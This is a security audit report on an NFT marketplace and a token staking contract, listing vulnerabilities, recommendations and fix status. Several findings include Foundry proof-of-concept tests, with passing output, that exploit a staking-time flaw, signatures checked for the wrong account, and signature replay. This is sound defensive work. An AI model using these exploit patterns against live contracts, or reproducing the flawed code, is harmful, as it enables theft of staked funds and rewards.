#HashEx
BLOCKCHAIN SECURITY

Iztar

smart contracts final audit report

June 2024

hashex.org

contact@hashex.org

Contents

1. Disclaimer

This is a limited report on our findings based on our analysis, in accordance with good industry practice at the date of this report, in relation to cybersecurity vulnerabilities and issues in the framework and algorithms based on smart contracts, the details of which are set out in this report. In order to get a full view of our analysis, it is crucial for you to read the full report. While we have done our best in conducting our analysis and producing this report, it is important to note that you should not rely on this report and cannot claim against us on the basis of what it says or doesn't say, or how we produced it, and it is important for you to conduct your own independent investigations before making any decisions. We go into more detail on this in the disclaimer below – please make sure to read it in full.

By reading this report or any part of it, you agree to the terms of this disclaimer. If you do not agree to the terms, then please immediately cease reading this report, and delete and destroy any and all copies of this report downloaded and/or printed by you. This report is provided for information purposes only and on a non-reliance basis and does not constitute investment advice. No one shall have any right to rely on the report or its contents, and HashEx and its affiliates (including holding companies, shareholders, subsidiaries, employees, directors, officers, and other representatives) (HashEx) owe no duty of care towards you or any other person, nor does HashEx make any warranty or representation to any person on the accuracy or completeness of the report. The report is provided "as is", without any conditions, warranties, or other terms of any kind except as set out in this disclaimer, and HashEx hereby excludes all representations, warranties, conditions, and other terms (including, without limitation, the warranties implied by law of satisfactory quality, fitness for purpose and the use of reasonable care and skill) which, but for this clause, might have effect in relation to the report. Except and only to the extent that it is prohibited by law, HashEx hereby excludes all liability and responsibility, and neither you nor any other person shall have any claim against HashEx, for any amount or kind of loss or damage that may result to you or any other person (including without limitation, any direct, indirect, special, punitive, consequential or pure economic loss or damages, or any loss of income, profits, goodwill, data, contracts, use of money, or business interruption, and whether in delict, tort (including without limitation negligence), contract, breach of statutory duty, misrepresentation (whether innocent or negligent) or otherwise under any claim of any nature whatsoever in any jurisdiction) in any way arising from or connected with this report and the use, inability to use or the results of the use of this report, and any reliance on this report. The analysis of the security is purely based on the smart contracts alone. No applications or operations were reviewed for security. No product code has been reviewed. HashEx owns all copyright rights to the text, images, photographs, and other content provided in the following document. When using or sharing partly or in full, third parties must provide a direct link to the original document mentioning the author (hashex.org).

2. Overview

HashEx was commissioned by the Iztar team to perform an audit of their IztarMarketplace and StakingToken smart contracts. The audit was conducted between 03/04/2024 and 06/04/2024.

The purpose of this audit was to achieve the following:

- Identify potential security issues with smart contracts
- Formally check the logic behind given smart contracts.

Information in this report should be used for understanding the risk exposure of smart contracts, and as a guide to improving the security posture of smart contracts by remediating the issues that were identified.

The code is available in the Binance Chain testnet at addresses 0x84a44f6d1a0af38de1db9c4130b9a36d01f27000 and 0x195fafba87f773ed619ff019b47ae80ae91feb7e.

Update. The Iztar team has responded to this report. The updated contracts are available in the Binance Chain testnet at addresses 0x4Ae703094C730ffc7E912626449165eF37e58F7D and 0x6e29f3c45d2b78bAe22aE4C374ffB8CA71A5cDeF.

Update 2. The contracts were deployed to BSC Mainnet at addresses 0x5abea62fd897424d48ab7825d79aead1fe1ba0a7 and 0x0f1b4847c8f658b051651ee4f5cf7bb7b273773b.

2.1 Summary

Project name	Iztar
URL	https://iztar.io
Platform	Binance Smart Chain
Language	Solidity
Centralization level	High
Centralization risk	High

2.2 Contracts

Name	Address
FlexibleStaking	0x5abea62fd897424d48AB7825d79aeAd1fE1BA0A7
IztarMarketplace	0x0F1B4847c8F658B051651Ee4F5cF7Bb7B273773b

3. Project centralization risks

CccCR1c Owner privileges

- Admins of the contract can withdraw reward tokens, but not the user's staked funds.

- Admins of the contract can cancel a user's stake.

- Admins of the contract can set the minimum and maximum amounts to stake.

CcdCR1d Owner privileges

- A contract admin can set an arbitrary transaction fee, up to 10%.

- A contract owner can change the signer address.

- A contract admin can cancel user's sells. The NFT is returned to the user.

4. Found issues

Critical	1 (3%)
High	8 (27%)
Medium	7 (23%)
Low	8 (27%)
Info	6 (20%)

Ccc. FlexibleStaking

ID	Severity	Title	Status
Cccl33	Critical	Staking time incorrectly updated	Resolved
Cccl47	High	Lack of tests and documentation	Resolved
Cccl36	High	The contract verifies the signature for a different address than the one staking the funds	Resolved
Cccl37	High	Replay attack on signatures	Resolved
Cccl35	High	No guarantees that there will be enough tokens to withdraw	Partially fixed
Cccla1	Medium	Minimum and maximum stake are set the same for all tokens	Resolved
Cccl38	Medium	Incorrect APR calculation	Resolved
Cccl3f	Medium	No constraints on the APR and stake duration variables	Resolved

CccI34	Medium	Additional staking can cause the user's staked token address to be replaced	Resolved
CccI49	Medium	Staking token address can be changed	Resolved
CccI3a	Low	Lack of events	Resolved
CccI3b	Low	Result of token transfers not checked	Resolved
CccI39	Low	Gas optimizations	Partially fixed
CccI3d	Info	Contract is uninitialized after deployment	Resolved
CccI9c	Info	Signatures can be re-used for different chains	Resolved
CccI3e	Info	Lack of documentation (NatSpec)	Resolved
CccI3c	Info	Limited ERC20 token support	Partially fixed

Ccd. IztarMarketplace

ID	Severity	Title	Status
CcdI41	High	The payment token can be updated for the existing sales	Resolved
CcdI48	High	Lack of tests and documentation	Resolved
CcdI40	High	Fees can be set more that 100%	Resolved
CcdI98	High	Replay attack on signatures	Resolved
CcdI9d	Medium	Lack of input validation	Resolved
CcdI43	Medium	Overlap of different NFT sells with same ID	Resolved

CcdI44	Low	Inconsistent usage of msg.sender and _msgSender() in the same function	Resolved
CcdI45	Low	Lack of reentrancy checks	Resolved
CcdI4b	Low	Lack of error messages	Resolved
CcdI4a	Low	Lack of events	Resolved
CcdI42	Low	Gas optimizations	Resolved
CcdI46	Info	Lack of documentation (NatSpec)	Resolved
CcdI9b	Info	Signatures can be re-used for different chains	Resolved

5. Contracts

Ccc. FlexibleStaking

Overview

A staking contract that allows users to deposit tokens into it. Contract admin has the ability to cancel their stake.

The contract sends rewards from its balance. Supposedly it is expected to be replenished for the reward tokens externally. Without external source of rewards, the contract does not allow new users to stake.

The contract features a lockup period that can be configured by a contract administrator.

Additionally, the contract only permits stakes if the stake parameters have been signed by a designated signer account.

Issues

CccI33 Staking time incorrectly updated

Critical Resolved

The contract calculates a fixed reward for each stake regardless of the staking duration. When staking for the second time, the contract does not update the staking time but uses the recorded value from the previous stake. Thus, with the second stake, the staking time will be recorded from the previous stake, and the stake can immediately be withdrawn, receiving the reward.

```
    function _stake(address _staker, uint256 _amount, address _tokenContract) internal {
        ...

        uint256 _stakingTime = stakers[_staker].stakingTime == 0 ? block.timestamp :
stakers[_staker].stakingTime;
```

```
        stakers[_staker].amount += _amount;
        stakers[_staker].stakingTime = _stakingTime;
        ...
     }
```

Recommendation

The staking time should be set to `block.timestamp` if the previous stake has finished. If not, the staking parameters should be recalculated to conform to the new deposit.

Proof of concept

Foundry test:

```
    function testStakeAttack() public {
        c.setTokenContract(address(token));
        c.setSigner(signer);

        uint256 expiredAt = block.timestamp + 1000;
        uint256 amount = 3 ether;

        bytes memory messageToSign = abi.encodePacked(address(this), amount,
address(token), expiredAt);
        bytes memory signature = utils.createSignature(signerPrivateKey, messageToSign);

        token.approve(address(c), type(uint256).max);
        c.stake(address(this), amount, address(token), expiredAt, signature);

        vm.warp(block.timestamp + 1);

        token.transfer(address(c), 10 ether);

        c.unstake(amount);
        c.stake(address(this), amount, address(token), expiredAt, signature);

        uint rewardAvailable = c.rewardAvailable(address(this));
        assertTrue(rewardAvailable > 0, "reward should be above zero");
        uint balanceBefore = token.balanceOf(address(this));
        c.unstake(amount); //immediately unstake receving the rewards for the stake
        uint balanceAfter = token.balanceOf(address(this));
        assertEq(rewardAvailable, balanceAfter - balanceBefore - amount);
```

```
    }
```

Test output:

```
 forge test --match-test testStakeAttack -vv
[] Compiling...
[] Compiling 1 files with 0.8.25
[] Solc 0.8.25 finished in 1.06s
Compiler run successful!

Ran 1 test for test/StakeToken.t.sol:TestContract
[PASS] testStakeAttack() (gas: 273101)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.52ms (795.75µs CPU time)

Ran 1 test suite in 127.34ms (1.52ms CPU time): 1 tests passed, 0 failed, 0 skipped (1
total tests)
```

Update

The updated code forces users to lose their claimable rewards with every additional stake.

```
    function _stake(
        address _staker,
        uint256 _amount,
        address _tokenContract
    ) internal {
        require(_amount != 0, "Amount stake below zero");
        require(tokenContract == _tokenContract, "Token contract invalid");
        uint256 totalAmount = stakers[_staker].amount + _amount;
        require(
            totalAmount >= minStake && totalAmount <= maxStake,
            "Amount stake more than minStake and less than maxStake"
        );

        // check start time
        // If the user has not had any previous staking
        // or current timestamp is greater than the previous start time + duration claim
        uint256 _startTime = stakers[_staker].startTime == 0 ||
            block.timestamp >= stakers[_staker].startTime + 1 days
            ? block.timestamp
```

```
            : stakers[_staker].startTime;

        stakers[_staker].startTime = _startTime;
        ...
    }
```

The same problem goes for the `_unstake()` function: users are forced to claim only a single day reward before withdrawing funds, i.e., they're forced to lose part of claimable rewards.

CccI47 Lack of tests and documentation

High Resolved

The project doesn't contain any tests and documentation. We urgently recommend increasing test coverage. We also suggest providing the documentation section.

CccI36 The contract verifies the signature for a different address than the one staking the funds

High Resolved

In the stake function, an account parameter is passed. The contract checks if the staking parameters have been signed by the signer account for this particular account. After verifying the signature, the stake is made for the account that initiates the transaction, not for the one for which the signature was verified.

```
    function stake(address _account, uint256 _amount, address _tokenAddress, uint256
_expiredAt, bytes memory _signature) external {
        require(_expiredAt > block.timestamp, "The signature is expired!");
        require(signer != address(0), "Signer has not been set!");
        require(verifySignature(_account, _amount, _tokenAddress, _expiredAt, _signature),
"Invalid signature!");
        _stake(_msgSender(), _amount, _tokenAddress);
    }
```

Consequently, another user can observe the transaction and, using the signature made for another user's stake, perform the stake on their behalf, potentially multiple times.

Recommendation

Make the stake for the passed `_account` parameter or check the signature for the transaction caller.

Proof of concept

Foundry test

```
    function testIncorrectSignatureAccount() public {
        c.setTokenContract(address(token));
        c.setSigner(signer);

        uint256 expiredAt = block.timestamp + 1000;
        uint256 amount = 3 ether;

        bytes memory messageToSign = abi.encodePacked(alice, amount, address(token),
expiredAt);
        bytes memory signature = utils.createSignature(signerPrivateKey, messageToSign);

        token.transfer(bob, amount);

        vm.prank(bob);
        token.approve(address(c), type(uint256).max);

        vm.prank(bob); //send next transaction from bob account
        c.stake(alice, amount, address(token), expiredAt, signature); //does not fail even
if bob has no approved signature
    }
```

Test output:

```
 forge test --match-test testIncorrectSignatureAccount
[] Compiling...
[] Compiling 1 files with 0.8.25
[] Solc 0.8.25 finished in 1.09s
Compiler run successful!

Ran 1 test for test/StakeToken.t.sol:TestContract
[PASS] testIncorrectSignatureAccount() (gas: 242690)
```

```
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.03ms (746.92µs CPU time)

Ran 1 test suite in 123.15ms (2.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1
total tests)
```

Cccl37 Replay attack on signatures

High Resolved

The contract verifies the signature for a stake with the following parameters: `_account`, `_amount`, `_tokenAddress`, `_expiredAt`. There is no protection against the reuse of the signature.

Giving a user one signature allows that user to make an arbitrary number of stakes with it.

```
    function getMessageHash(address _account, uint256 _amount, address _tokenAddress,
uint256 _expiredAt) public pure returns(bytes32) {
        return keccak256(abi.encodePacked(_account, _amount, _tokenAddress, _expiredAt));
    }

    function verifySignature(address _account, uint256 _amount, address _tokenAddress,
uint256 _expiredAt, bytes memory _signature) public view returns(bool){
        bytes32 criteriaMessageHash = getMessageHash(_account, _amount, _tokenAddress,
_expiredAt);
        bytes32 ethMessageHash = ECDSA.toEthSignedMessageHash(criteriaMessageHash);
        return ECDSA.recover(ethMessageHash, _signature) == signer;
    }
```

Recommendation

Add a nonce parameter to the signature to avoid replay attacks.

Proof of concept

Foundry test:

```
    function testReplayAttack() public {
        c.setTokenContract(address(token));
        c.setSigner(signer);

        uint256 expiredAt = block.timestamp + 1000;
```

```
        uint256 amount = 3 ether;

        bytes memory messageToSign = abi.encodePacked(address(this), amount,
address(token), expiredAt);
        bytes memory signature = utils.createSignature(signerPrivateKey, messageToSign);

        token.approve(address(c), type(uint256).max);
        c.stake(address(this), amount, address(token), expiredAt, signature);
        //stake again with the same signature, won't fail
        c.stake(address(this), amount, address(token), expiredAt, signature);

    }
```

Foundry test output:

```
 forge test --match-test testReplayAttack
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/StakeToken.t.sol:TestContract
[PASS] testReplayAttack() (gas: 246171)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.50ms (764.96µs CPU time)

Ran 1 test suite in 138.31ms (1.50ms CPU time): 1 tests passed, 0 failed, 0 skipped (1
total tests)
```

Update

The nonce parameter is used for `msg.sender`, but not the actual user participating in staking, i.e. anyone can re-use signature as long as the participating user has unspent allowance of the staking token.

```
    function verifySignature(
        address _account,
        uint256 _amount,
        address _tokenAddress,
        uint256 _expiredAt,
        uint256 _nonce,
        bytes memory _signature
```

```
    ) public returns (bool) {
        require(!usedNonces[_msgSender()][_nonce], "Nonce already used");
        bytes32 criteriaMessageHash = getMessageHash(
            _account,
            _amount,
            _tokenAddress,
            _expiredAt,
            _nonce
        );
        bytes32 ethMessageHash = ECDSA.toEthSignedMessageHash(
            criteriaMessageHash
        );
        usedNonces[_msgSender()][_nonce] = true;
        address _signer = ECDSA.recover(ethMessageHash, _signature);
        return _signer == signer;
    }
```

CccI35 No guarantees that there will be enough tokens to withdraw

High Partially fixed

There is no separation for balances used for rewards and the staked tokens. If no additional tokens are sent to the contract rewards will be paid from staked user's tokens. This will lead to a situation when the users who try to withdraw their funds last won't be able to withdraw their stakes.

Recommendation

Refactor the contract architecture, ensuring that users can withdraw their tokens. Track tokens for rewards and staked tokens separately.

Update

The updated contract allows withdrawals without rewards. Initial amount of rewards is not secured with actual token transfer during the construction of the contract.

Cccla1 Minimum and maximum stake are set the same for all tokens

Medium Resolved

The contract uses the same value for minimum and maximum stake for different tokens. The tokens may have different value and even different decimals. This may lead to incorrect values for min and max stake for some tokens.

Recommendation

Use mapping to set different minimum and maximum stake parameters to use for different tokens.

Cccl38 Incorrect APR calculation

Medium Resolved

The contract has a method for setting the expected APR value and a function to calculate the rewards based on the APR. However, the rewards are calculated incorrectly: the staking time is not taken into account:

```
function rewardAvailable(address account) public view returns(uint256){
     Stake memory _staker = stakers[account];
     if(block.timestamp >= _staker.stakingTime + durationClaim){
         uint256 _reward = (apr * _staker.amount) / (360 * 100);
         return _reward;
     }
     return 0;
 }
```

Recommendation

Use staking time for the correct reward calculation based on the expected APR.

Team response

In the reward calculation, we determine that each user gets a reward every day from staking. We determine there are 360 days in one year. Therefore, in our calculations: `(APR * total staked amount / 360) / 100`.

CccI3f No constraints on the APR and stake duration variables

Medium Resolved

A contract admin can set any value for APR and stake duration. If the stake duration claim is set to an extremely high value, the users who staked their tokens won't be able to receive any rewards. If the APR is set to an extremely high value, the eligible for rewards users won't be able to withdraw their stakes because there won't be enough tokens on the token to pay for rewards.

```
function setApr(uint256 _apr) public {
    require(isAdmin(_msgSender()), "You must have admin role to set APR");
    apr = _apr;
}

function setDurationClaim(uint256 _duration) external {
    require(isAdmin(_msgSender()), "You must have admin role to set duration claim");
    durationClaim = _duration;
}
```

Recommendation

We recommend adding constraints on the maximum possible values for the APR and duration claim variables.

CccI34 Additional staking can cause the user's staked token address to be replaced

Medium Resolved

An account with admin privileges can change the staking token contract address. If the contract address is changed the subsequent stake will override the staking contract address

record in the stakers mapping. This will result that the user won't being able to get his stake and rewards in the previous token. The stake and rewards would be in the new token.

```
    function _stake(address _staker, uint256 _amount, address _tokenContract) internal {
        require(_amount != 0, "Amount stake below zero");
        require(tokenContract == _tokenContract, "Token contract invalid");
        require(_amount >= minStake && _amount <= maxStake, "Amount stake more than
minStake and less than maxStake");

        uint256 _stakingTime = stakers[_staker].stakingTime == 0 ? block.timestamp :
stakers[_staker].stakingTime;

        stakers[_staker].amount += _amount;
        stakers[_staker].stakingTime = _stakingTime;
        stakers[_staker].tokenContract = _tokenContract;
        ...
  }
```

Recommendation

Add a check if a user has already a stake with a different token.

CccI49 Staking token address can be changed

Medium Resolved

A contract admin can change the staking token address. Changing it will result in inconsistent calculations for aggregate values of `totalStaked` and `rewards[user]`.

```
    function setTokenContract(address _tokenContract) public {
        require(isAdmin(_msgSender()), "You must have admin role to set token contract");
        tokenContract = _tokenContract;
    }
```

Recommendation

Remove the ability to change the staking token.

CccI3a Lack of events

Low Resolved

The functions `setAdminAddress()`, `removeAdminAddress()`, `setSigner()`, `setApr()`, `setDurationClaim()`, `setMinStake()`, `setMaxStake()`, `_claim()`, `_restake()` change important variable in the contract storage, but no event is emitted.

We recommend adding events to these functions to make it easier to track their changes offline.

Update

The updated contract allows user operation with multiple tokens, but the events don't include token address as a parameter.

CccI3b Result of token transfers not checked

Low Resolved

The contract does not check the returned results of the ERC20 transfer function.

```
        token.transfer(_msgSender(), _reward);
```

The ERC20 token standard mandates that the token transfer function should return a boolean value indicating the success or failure of the token transfer. Typically, tokens are designed to always return true, with the transaction failing if the transfer is unsuccessful. However, it is considered best practice to robustly handle the return values to ensure reliability.

Additionally, it is important to note that some implementations of the ERC20 token do not adhere strictly to the ERC20 standard and might not return a boolean upon transfer. Consequently, to accommodate all scenarios, it is advisable to utilize a library that addresses these variations, such as OpenZeppelin's SafeERC20, which provides a more secure and standardized approach to handling ERC20 token transfers.

CccI39 Gas optimizations

Low Partially fixed

- `_signature` parameter in the `stake()` function can be declared as calldata instead of memory.

- the function `_restake()` transfers token from the Staking contract address to the same address.

- unnecessary read from storage in the constructor section: the `setAdminAddress()` checks the owner address.

- the full `Stake` struct is read in the `rewardAvailable()` function, yet only `stakingTime` and `amount` are used.

- multiple reads from storage in the `_unstake()` function: `stakers[_staker].amount` variable.

- multiple reads from storage in the `_restake()` function: `stakers[_msgSender()].amount`, `stakers[_msgSender()].stakingTime` variables.

CccI3d Contract is uninitialized after deployment

Info Resolved

The contract has several setter functions that must be called before becoming functional. For example, the signer address and the apr amount required be set. We recommend setting all required variables in the contract constructor.

CccI9c Signatures can be re-used for different chains

Info Resolved

The signature verification message doesn't include chain-specific information, e.g., `chainId`. This may result in the re-use of signatures in different chains, unless the `signer` address is set to different values.

CccI3e Lack of documentation (NatSpec)

Info Resolved

We recommend writing documentation using NatSpec Format. This would help in development, as well as simplify user interaction with the contract (including using the block explorer).

CccI3c Limited ERC20 token support

Info Partially fixed

Tokens with transfer fees and rebasing tokens are not supported.

Update

The Iztar team added documentation indicating that rebase tokens are not supported. Additionally, they implemented a check for tokens with transfer fees in the `_stake()` function.

Rebasing tokens are not supported and should be avoided.

Ccd. IztarMarketplace

Overview

An NFT marketplace contract that allows users to list their NFTs for sale by specifying a price. The payment for the NFT is made in a specific payment token, the type of which can be modified by the contract's owner. When a user lists an NFT for sale, the NFT is transferred to the contract. If a purchase occurs, the NFT is then transferred to the buyer. Sellers have the option to cancel their listings, in which case the NFT is returned to the owner's account as designated at the time of listing creation. The contract ensures that only listings with parameters signed by a designated account are permitted.

Issues

CcdI41 The payment token can be updated for the existing sales

High Resolved

A contract admin can change the payment token any time for existing and subsequent sales.

If one of the admin contracts is compromised or the admin acts maliciously he can set a fraud payment tokens and buy all the NFTs for this token.

```
function setPaymentContract(address _paymentContract) external returns(bool) {
    require(isAdmin(_msgSender()), "You're not admin to set payment contract");
    paymentContract = _paymentContract;
    return true;
}
```

Recommendation

Save to payment token as one of the parameters of the NFTSold structure or remove the ability to change the payment token at all.

CcdI48 Lack of tests and documentation

High Resolved

The project doesn't contain any tests and documentation. We urgently recommend increasing test coverage. We also suggest providing the documentation section.

CcdI40 Fees can be set more that 100%

High Resolved

The contract admin can set an arbitrary big transaction fee. An extremely big fee would make purchase impossible due to reverts on math operations. A 100% fee means that the seller won't get anything for his NFT. The fee can be changed after the sell is created.

```
function setTransactionFee(uint256 _fee) external returns(bool) {
    require(isAdmin(_msgSender()), "You're not admin to set fee transaction");
```

```
        _transactionFee = _fee;
        return true;
    }
```

Recommendation

Add an upper constraint for the transaction fee. Set the fee as a parameter for a sell.

Ccdl98 Replay attack on signatures

High Resolved

In the updated code the nonce parameter was added to signature verification. However, the nonce is checked for `msg.sender`, but not for the actual seller.

```
    function verifySignature(
        uint256 _tokenId,
        address _owner,
        uint256 _price,
        address _nftAddress,
        uint256 _expiredAt,
        uint256 _nonce,
        bytes memory signature
    ) public returns (bool) {
        require(!usedNonces[_msgSender()][_nonce], "Nonce already used");
        bytes32 criteriaMessageHash = getMessageHash(
            _tokenId,
            _owner,
            _price,
            _nftAddress,
            _expiredAt,
            _nonce
        );
        bytes32 ethMessageHash = ECDSA.toEthSignedMessageHash(
            criteriaMessageHash
        );
        usedNonces[_msgSender()][_nonce] = true;
        return ECDSA.recover(ethMessageHash, signature) == signer;
    }
```

CcdI9d Lack of input validation

Medium Resolved

The `sell()` function allows user to set zero address as a beneficiary (`address _owner` parameter). But the `_cancelSell()` function mandatory requires `_sellingById[_tokenAddress][_tokenId].owner != address(0)`, reverting both user's and admin's cancel function.

Recommendation

Add a safety check of the `_owner` parameter of the `sell()` function.

CcdI43 Overlap of different NFT sells with same ID

Medium Resolved

The contract maintains a record of all token sales in a mapping, utilizing token IDs as keys. If a user attempts to list a token for sale using an ID that has already been associated with a different token in a previous sale, the action will result in an error.

```
    function sell(uint256 _tokenId, address _owner, uint256 _price, address _nftAddress,
uint256 _expiredAt, bytes memory signature) external {
        require(_nftAddress != address(0), "NFT contract invalid!");
        require(signer != address(0), "Signer has not been set!");
        require(_sellingById[_tokenId].isExist == false, "Nft token already selling");'
        ...
    }
```

Recommendation

Use an NFT token address + token id as a key.

CcdI44 Inconsistent usage of msg.sender and _msgSender() in the same function

Low Resolved

In the smart contract, there is an inconsistent usage of `msg.sender` and `_msgSender()` within the same function. This inconsistency could lead to confusion or errors, especially if there is a specific reason or logic behind using the `_msgSender()` function, such as compatibility with meta-transactions or proxy contracts.

```
    function buy(uint256 _tokenId, uint256 _price) external returns(bool) {
        NFTSold memory nft = _sellingById[_tokenId];
        require(nft.isExist == true, "Nft token not exist!");
        require(_price >= nft.price,"");

        IBEP20 paymentToken = IBEP20(paymentContract);

        require(paymentToken.balanceOf(_msgSender()) >= _price,
        "buyer doesn't have enough token to buy this item");

        require(paymentToken.allowance(msg.sender, address(this)) >= nft.price,
        "buyer doesn't approve marketplace to spend payment amount");

        uint256 _fee = _transactionFee.mul(nft.price).div(10000);
        uint256 payAmount = nft.price.sub(_fee);

        paymentToken.transferFrom(_msgSender(), nft.owner, payAmount);
        ...
    }
```

CcdI45 Lack of reentrancy checks

Low Resolved

The contract interacts with external contracts but does not follow the check-effects-interactions pattern nor does it use reentrancy guards. We recommend incorporating reentrancy guards to enhance the contract's security.

CcdI4b Lack of error messages

Low Resolved

There is no error message in the `buy()` function, specifically in requirements for input price. Reverting without a reason is discouraged since it doesn't help user to choose right parameters and may provoke an unnecessary gas spending on obviously reverting transaction.

```
    function buy(uint256 _tokenId, uint256 _price) external returns (bool) {
        NFTSold memory nft = _sellingById[_tokenId];
        require(nft.isExist == true, "Nft token not exist!");
        require(_price >= nft.price, "");
        ...
```

```
    }
```

CcdI4a Lack of events

Low Resolved

The functions `setAdminAddress()`, `removeAdminAddress()`, `setPaymentContract()`, `setTransactionFee()`, `setFeeRecipient()` change important variable in the contract storage, but no event is emitted.

We recommend adding events to these functions to make it easier to track their changes offline.

Update

The updated contract allows user operation with multiple NFT collections, but the `CancelSell()` event doesn't include token address as a parameter.

CcdI42 Gas optimizations

Low Resolved

- imported SafeMath library is an outdated version for pre-0.8 Solidity versions

- the `isExist`, `nftContract`, `tokenId` parameters in the `NFTSold` structure could be omitted. For the check if a record for an NFT exists, the following check could be used: `owner != address(0)`

- unnecessary read from storage in the constructor section: the `setAdminAddress()` checks the owner address

CcdI46 Lack of documentation (NatSpec)

Info Resolved

We recommend writing documentation using NatSpec Format. This would help in development, as well as simplify user interaction with the contract (including using the block explorer).

CcdI9b Signatures can be re-used for different chains

Info Resolved

The signature verification message doesn't include chain-specific information, e.g., `chainId`. This may result in the re-use of signatures in different chains, unless the `signer` address is set to different values.

6. Conclusion

1 critical, 8 high, 7 medium, 8 low severity issues were found during the audit. 1 critical, 7 high, 7 medium, 7 low issues were resolved in the update. The reviewed contracts are highly dependent on the owner's account. See the centralization risks chapter.

This audit includes recommendations on code improvement and the prevention of potential attacks.

Appendix A. Issues' severity classification

- **Critical.** Issues that may cause an unlimited loss of funds or entirely break the contract workflow. Malicious code (including malicious modification of libraries) is also treated as a critical severity issue. These issues must be fixed before deployments or fixed in already running projects as soon as possible.
- **High.** Issues that may lead to a limited loss of funds, break interaction with users, or other contracts under specific conditions. Also, issues in a smart contract, that allow a privileged account the ability to steal or block other users' funds.
- **Medium.** Issues that do not lead to a loss of funds directly, but break the contract logic. May lead to failures in contracts operation.
- **Low.** Issues that are of a non-optimal code character, for instance, gas optimization tips, unused variables, errors in messages.
- **Informational.** Issues that do not impact the contract operation. Usually, informational severity issues are related to code best practices, e.g. style guide.

Appendix B. Issue status description

Resolved. The issue has been completely fixed.

Partially fixed. Parts of the issue have been fixed but the issue is not completely resolved.

Acknowledged. The team has been notified of the issue, no action has been taken.

Open. The issue remains unresolved.

Appendix C. List of examined issue types

- Business logic overview
- Functionality checks
- Following best practices
- Access control and authorization
- Reentrancy attacks
- Front-run attacks
- DoS with (unexpected) revert
- DoS with block gas limit
- Transaction-ordering dependence
- ERC/BEP and other standards violation
- Unchecked math
- Implicit visibility levels
- Excessive gas usage
- Timestamp dependence
- Forcibly sending ether to a contract
- Weak sources of randomness
- Shadowing state variables
- Usage of deprecated code

Appendix D. Centralization risks classification

Centralization level

- **High.** The project owners can manipulate user's funds, lock user's funds on their will (reversible or irreversible), or maliciously update contracts parameters or bytecode.
- **Medium.** The project owners can modify contract's parameters to break some functions of the project contract or contracts, but user's funds remain withdrawable.
- **Low.** The contract is trustless or its governance functions are safe against a malicious owner.

Centralization risk

- **High.** Lost ownership over the project contract or contracts may result in user's losses. Contract's ownership belongs to EOA or EOAs, and their security model is unknown or out of scope.
- **Medium.** Contract's ownership is transferred to a contract with not industry-accepted parameters, or to a contract without an audit. Also includes EOA with a documented security model, which is out of scope.
- **Low.** Contract's ownership is transferred to a well-known or audited contract with industry-accepted parameters.

 contact@hashex.org

 @hashex_manager

 blog.hashex.org

 linkedin

 github

 twitter

#HashEx
BLOCKCHAIN SECURITY